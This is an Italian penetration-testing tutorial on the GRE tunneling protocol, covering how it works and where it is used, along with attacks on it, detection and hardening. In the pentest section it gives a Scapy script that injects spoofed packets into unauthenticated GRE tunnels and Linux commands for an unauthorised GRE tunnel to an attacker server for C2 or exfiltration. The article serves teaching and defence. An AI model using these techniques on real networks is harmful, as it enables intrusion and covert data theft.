GRE (Generic Routing Encapsulation): cos’è, come funziona e come si sfrutta in pentest

GRE è il protocollo di tunneling che incapsula qualsiasi protocollo di rete dentro pacchetti IP. Capire cos’è GRE e come funziona è fondamentale per chi fa pentesting su infrastrutture enterprise con VPN legacy, reti WAN, e ambienti cloud: GRE è ovunque, spesso non cifrato, e trasporta traffico di rete reale attraverso un canale che molti firewall lasciano passare senza ispezione.

Cos’è GRE #

GRE (Generic Routing Encapsulation) è un protocollo di tunneling definito nell’RFC 2784 (aggiornamento del RFC 1701 del 1994). Viene trasportato su IP con protocol number 47.

Il suo scopo è semplice: incapsulare qualsiasi protocollo di livello 3 (o 2) dentro pacchetti IP, permettendo il trasporto di traffico attraverso reti IP che altrimenti non lo supporterebbero o lo filtrerebbero.

A differenza di IPSec, GRE non cifra e non autentica il payload. È un meccanismo di tunneling puro: aggiunge un header GRE e un header IP esterno attorno al pacchetto originale, lo invia attraverso la rete, e il router di destinazione rimuove gli header aggiuntivi e processa il pacchetto interno.

Caratteristiche principali:

• Supporta qualsiasi protocollo come payload (IPv4, IPv6, MPLS, Ethernet, ecc.)
• Overhead minimo: header GRE da 4 byte (base) + header IP esterno da 20 byte
• Stateless: nessuna gestione di sessione
• Nessuna cifratura nativa (si usa GRE over IPSec per aggiungere sicurezza)
• Supporta multicast e broadcast nel tunnel (a differenza di molte VPN)

Come funziona GRE #

Struttura dell’header GRE #

L’header GRE base è di 4 byte:

Il campo Protocol Type usa gli stessi valori EtherType di Ethernet:

• 0x0800 → IPv4 incapsulato
• 0x86DD → IPv6 incapsulato
• 0x0806 → ARP incapsulato
• 0x6558 → Ethernet incapsulato (GRE over Ethernet — ERSPAN)

Il processo di incapsulamento #

Quando un pacchetto entra nel tunnel GRE:

1. Il router di ingresso riceve il pacchetto originale (es. 10.0.1.1 → 10.0.2.1)
2. Aggiunge un header GRE (con Protocol Type che identifica il protocollo interno)
3. Aggiunge un header IP esterno con sorgente e destinazione delle estremità del tunnel (es. 203.0.113.1 → 203.0.113.2)
4. Invia il pacchetto incapsulato sulla rete
5. Il router di uscita riceve il pacchetto, rimuove l’header IP esterno e l’header GRE
6. Processa il pacchetto originale

GRE keepalive #

GRE supporta un meccanismo di keepalive per verificare che il tunnel sia attivo: il router invia periodicamente pacchetti GRE incapsulati dentro se stessi. Se il router di destinazione non risponde entro il numero di tentativi configurato, il tunnel viene dichiarato down.

GRE over IPSec #

GRE da solo non offre sicurezza. La combinazione standard per VPN sicure è GRE over IPSec:

1. GRE crea il tunnel e gestisce il multicast/routing dinamico
2. IPSec cifra e autentica il traffico GRE

Questo permette di usare protocolli di routing dinamico (OSPF, EIGRP) attraverso un tunnel IPSec — cosa che IPSec da solo non supporta nativamente.

Dove viene usato GRE nelle reti #

GRE è presente in molti contesti enterprise:

• VPN site-to-site legacy: tunnel GRE tra sedi aziendali, spesso combinati con IPSec
• Reti WAN MPLS: GRE per trasportare traffico IPv6 o multicast su backbone MPLS IPv4-only
• Ambienti cloud e datacenter: NVGRE (Network Virtualization using GRE) per overlay network in datacenter Microsoft e Azure
• Monitoring e SPAN remoto: ERSPAN (Encapsulated Remote SPAN) usa GRE per inviare copie di traffico a strumenti di analisi remoti
• Routing dinamico tra siti: GRE over IPSec come trasporto per OSPF o EIGRP tra sedi remote
• Reti ISP: tunnel GRE per trasportare protocolli non-IP o multicast attraverso backbone IP-only

Perché GRE è importante in cybersecurity #

GRE è rilevante per la sicurezza per due ragioni principali:

Come vettore di attacco: GRE non ha autenticazione. Chiunque possa raggiungere il router di terminazione del tunnel può iniettare pacchetti nel tunnel, potenzialmente bypassando i controlli di sicurezza dell’interfaccia esterna.

Come canale di bypass/evasion: il protocollo IP number 47 è spesso permesso sui firewall corporate (per le VPN GRE legittime). Un attaccante può usare GRE per creare tunnel non autorizzati attraverso firewall che non ispezionano il payload GRE.

Conoscere GRE permette di identificare tunnel non documentati, iniettare traffico in tunnel non autenticati, e creare canali C2 o di exfiltration difficili da rilevare. Per il protocollo su cui GRE si appoggia, vedi IP Internet Protocol. Per la versione sicura con cifratura, vedi IPSec.

GRE in un engagement di pentesting #

Reconnaissance: identificare tunnel GRE #

Il traffico GRE usa IP protocol number 47. Rilevarlo è semplice con tcpdump o Wireshark:

tcpdump -i eth0 -nn proto 47

In Wireshark:

gre

La presenza di tunnel GRE rivela:

• Le estremità del tunnel (IP sorgente e destinazione dell’header esterno)
• Il protocollo trasportato (Protocol Type nell’header GRE)
• La direzione e il volume del traffico
• Potenzialmente il contenuto del traffico interno (se non cifrato)

Sniffing del traffico GRE non cifrato #

Se il tunnel GRE non è combinato con IPSec, il traffico interno è in chiaro. Wireshark decodifica automaticamente il payload GRE:

gre && ip.src == <tunnel_endpoint>

Tutto il traffico interno — inclusi protocolli di routing, traffico di management, credenziali su protocolli non cifrati — è visibile.

Iniezione di pacchetti in tunnel GRE non autenticati #

GRE non verifica l’autenticità del mittente. Un attaccante che può forgiare l’indirizzo IP sorgente dell’endpoint del tunnel può iniettare pacchetti arbitrari all’interno del tunnel:

from scapy.all import *

# Costruire un pacchetto da iniettare nel tunnel
inner_packet = IP(src="10.0.1.100", dst="10.0.2.1") / TCP(dport=80) / "GET / HTTP/1.1\r\nHost: internal.corp\r\n\r\n"

# Incapsularlo in GRE con l'IP dell'endpoint del tunnel come sorgente
gre_packet = IP(src=tunnel_endpoint_src, dst=tunnel_endpoint_dst) / GRE() / inner_packet

send(gre_packet)

Il router di terminazione riceve il pacchetto GRE, decapsula il payload, e lo instrada come se provenisse dall’interno del tunnel.

Creare tunnel GRE non autorizzati per evasion #

Su un host Linux con permessi di root, creare un tunnel GRE verso un server esterno:

# Sul server remoto (controllo dell'attaccante)
ip tunnel add gre1 mode gre remote <victim_ip> local <attacker_ip> ttl 255
ip link set gre1 up
ip addr add 10.99.0.1/30 dev gre1

# Sull'host compromesso nella rete target
ip tunnel add gre1 mode gre remote <attacker_ip> local <victim_ip> ttl 255
ip link set gre1 up
ip addr add 10.99.0.2/30 dev gre1

Se il firewall permette IP protocol 47 in uscita (comune dove esistono VPN GRE legittime), il tunnel viene stabilito senza problemi. Il traffico C2 o di exfiltration passa attraverso GRE, spesso senza essere rilevato.

Analisi di ERSPAN per intelligence sulla rete #

ERSPAN (Encapsulated Remote SPAN) usa GRE Type II/III per trasportare copie di traffico a strumenti di analisi remoti. Se un attaccante riesce ad intercettare o replicare il traffico ERSPAN, ottiene visibilità sul traffico di uno o più segmenti di rete. I pacchetti ERSPAN sono identificabili dal Protocol Type GRE 0x88BE (ERSPAN Type I/II) o 0x22EB (ERSPAN Type III).

Attacchi e abusi possibili su GRE #

Packet Injection in tunnel non autenticati #

Come descritto: forgiare l’IP sorgente di un endpoint per iniettare traffico nel tunnel. Efficace contro tunnel GRE puri senza IPSec.

GRE Tunnel Hijacking #

Intercettando e analizzando il traffico GRE, un attaccante può capire la struttura del payload interno e costruire pacchetti malevoli da iniettare, includendo exploit verso sistemi interni normalmente non raggiungibili dall’esterno.

Covert Channel tramite GRE #

Usare GRE per creare canali C2 o exfiltration. Il traffico appare come normale tunneling IP e passa attraverso molti firewall che non ispezionano il payload del protocollo 47.

DoS tramite GRE flood #

Inondare l’endpoint di un tunnel GRE con pacchetti da processare, saturando le risorse del router o aumentando il carico sulla CPU impegnata nel decapsulamento.

Esempi pratici con GRE in laboratorio #

Creare e testare un tunnel GRE su Linux #

# Host A (192.168.1.10)
ip tunnel add tun0 mode gre remote 192.168.1.20 local 192.168.1.10 ttl 255
ip link set tun0 up
ip addr add 172.16.0.1/30 dev tun0

# Host B (192.168.1.20)
ip tunnel add tun0 mode gre remote 192.168.1.10 local 192.168.1.20 ttl 255
ip link set tun0 up
ip addr add 172.16.0.2/30 dev tun0

# Verifica
ping 172.16.0.2   # Da Host A

Analisi approfondita con Wireshark #

Filtri utili per GRE:

gre                         # Tutto il traffico GRE
gre.proto == 0x0800         # GRE con payload IPv4
gre.proto == 0x86DD         # GRE con payload IPv6
gre.proto == 0x88BE         # ERSPAN Type I/II
ip.proto == 47              # Equivalente — filtra per protocol number 47

Enumerare tunnel GRE con nmap #

nmap -sO --script ipproto-scan <target>
# Verifica se protocol 47 (GRE) è accettato dall'host

Detection e difesa GRE #

Un difensore che monitora il traffico GRE può rilevare:

• Tunnel GRE non documentati: qualsiasi flusso verso protocol 47 non presente nell’inventario dei tunnel autorizzati
• Traffico GRE verso IP esterni non autorizzati: possibile covert channel o exfiltration
• Anomalie nel payload GRE: protocolli interni insoliti o traffic pattern anomali
• Tentativi di iniezione: pacchetti GRE con IP sorgente spoofato verso endpoint interni

Tool: analisi dei netflow per protocol 47, regole Suricata per GRE anomalo, Zeek con script di parsing GRE.

Hardening e mitigazioni GRE #

Filtrare GRE sui firewall perimetrali #

Bloccare IP protocol 47 in entrata e in uscita dove i tunnel GRE non sono necessari. Anche dove lo sono, limitare il traffico solo agli IP degli endpoint autorizzati:

# Cisco ACL
permit 47 host <tunnel_endpoint_A> host <tunnel_endpoint_B>
deny   47 any any

Usare GRE over IPSec #

Mai usare GRE puro per traffico sensibile. GRE over IPSec aggiunge autenticazione e cifratura, eliminando le vulnerabilità di iniezione e sniffing.

Autenticazione GRE (chiave) #

GRE supporta un campo Key opzionale (4 byte) come forma minimale di autenticazione. Non è cifratura, ma almeno verifica che il mittente conosca la chiave configurata:

interface Tunnel0
 tunnel key 12345678

Attenzione: la chiave è in chiaro nel traffico GRE se non combinata con IPSec.

Monitorare i tunnel attivi #

Inventariare tutti i tunnel GRE autorizzati e configurare alerting per qualsiasi tunnel non presente nella lista. Usare SNMP o Netconf per monitorare l’interfaccia tunnel dei router.

Errori comuni su GRE #

“GRE cifra il traffico” No. GRE è un meccanismo di tunneling puro, senza cifratura né autenticazione reale. Il traffico interno è completamente in chiaro. Per la cifratura serve IPSec sopra GRE.

“Un firewall che blocca TCP e UDP blocca anche GRE” No. GRE usa IP protocol 47, non TCP o UDP. Un firewall configurato per filtrare solo in base alle porte TCP/UDP non vede il traffico GRE.

“GRE è sicuro perché il payload è incapsulato” L’incapsulamento non equivale a sicurezza. Il payload GRE è leggibile da chiunque possa catturare il traffico. “Nascosto” non significa “cifrato”.

“Solo i router possono creare tunnel GRE” Falso. Su Linux con permessi di root bastano pochi comandi. Su Windows è possibile con tool dedicati. Qualsiasi host può creare un tunnel GRE.

FAQ su GRE #

Cos’è GRE e a cosa serve? GRE (Generic Routing Encapsulation) è un protocollo di tunneling che incapsula qualsiasi protocollo di rete dentro pacchetti IP. Serve per trasportare traffico attraverso reti che non supportano nativamente quel protocollo, o per creare connessioni punto-punto tra reti distanti.

Qual è la differenza tra GRE e IPSec? GRE è un tunnel puro senza sicurezza: trasporta il traffico in chiaro. IPSec fornisce cifratura e autenticazione ma non supporta nativamente multicast e routing dinamico. GRE over IPSec combina i vantaggi di entrambi: tunneling flessibile con sicurezza.

GRE bypassa i firewall? In molti casi sì: un firewall configurato per filtrare solo TCP e UDP non processa IP protocol 47. Se il firewall permette GRE per VPN legittime, un attaccante può sfruttare quello stesso permesso per creare tunnel non autorizzati.

Come si rileva un tunnel GRE non autorizzato? Monitorare il traffico IP protocol 47 verso destinazioni non presenti nell’inventario dei tunnel autorizzati. Un IDS con analisi dei netflow o regole specifiche per protocol 47 può rilevare tunnel anomali.

GRE è ancora usato nelle reti moderne? Sì, specialmente in ambienti enterprise legacy, reti WAN, e in combinazione con IPSec per VPN site-to-site. Nel cloud, varianti come NVGRE e VXLAN hanno parzialmente sostituito GRE puro, ma il protocollo è ancora ampiamente presente.

Conclusione su GRE #

GRE è uno strumento potente e silenzioso. La sua assenza di cifratura lo rende vulnerabile allo sniffing e all’iniezione, mentre la sua natura di protocollo di livello 3 lo rende invisibile a molti sistemi di detection configurati per analizzare solo TCP e UDP.

In un engagement, trovare tunnel GRE non documentati è spesso una finding critica: rivelano la topologia WAN dell’organizzazione, trasportano traffico sensibile in chiaro, e possono essere usati come vettore di iniezione verso segmenti normalmente inaccessibili.

Approfondisci i protocolli correlati:

• IP Internet Protocol: il livello di rete
• IPSec: cifratura e autenticazione IP
• ICMP: diagnostica e tunnel covert
• VPN e protocolli di tunneling
• Sniffing e analisi del traffico
• Nmap: service detection e protocol scanning
• PPP e PPPoE: tunneling a livello 2

Riferimento ufficiale: RFC 2784 — Generic Routing Encapsulation (GRE)

Vuoi verificare se nella tua infrastruttura ci sono tunnel GRE non documentati o non sicuri? Il nostro team di penetration testing copre anche i protocolli di tunneling spesso ignorati dagli scan automatici: hackita.it/servizi.

Ogni articolo su HackITA è scritto per chi vuole capire davvero, non solo usare i tool. Se lo apprezzi: hackita.it/supporto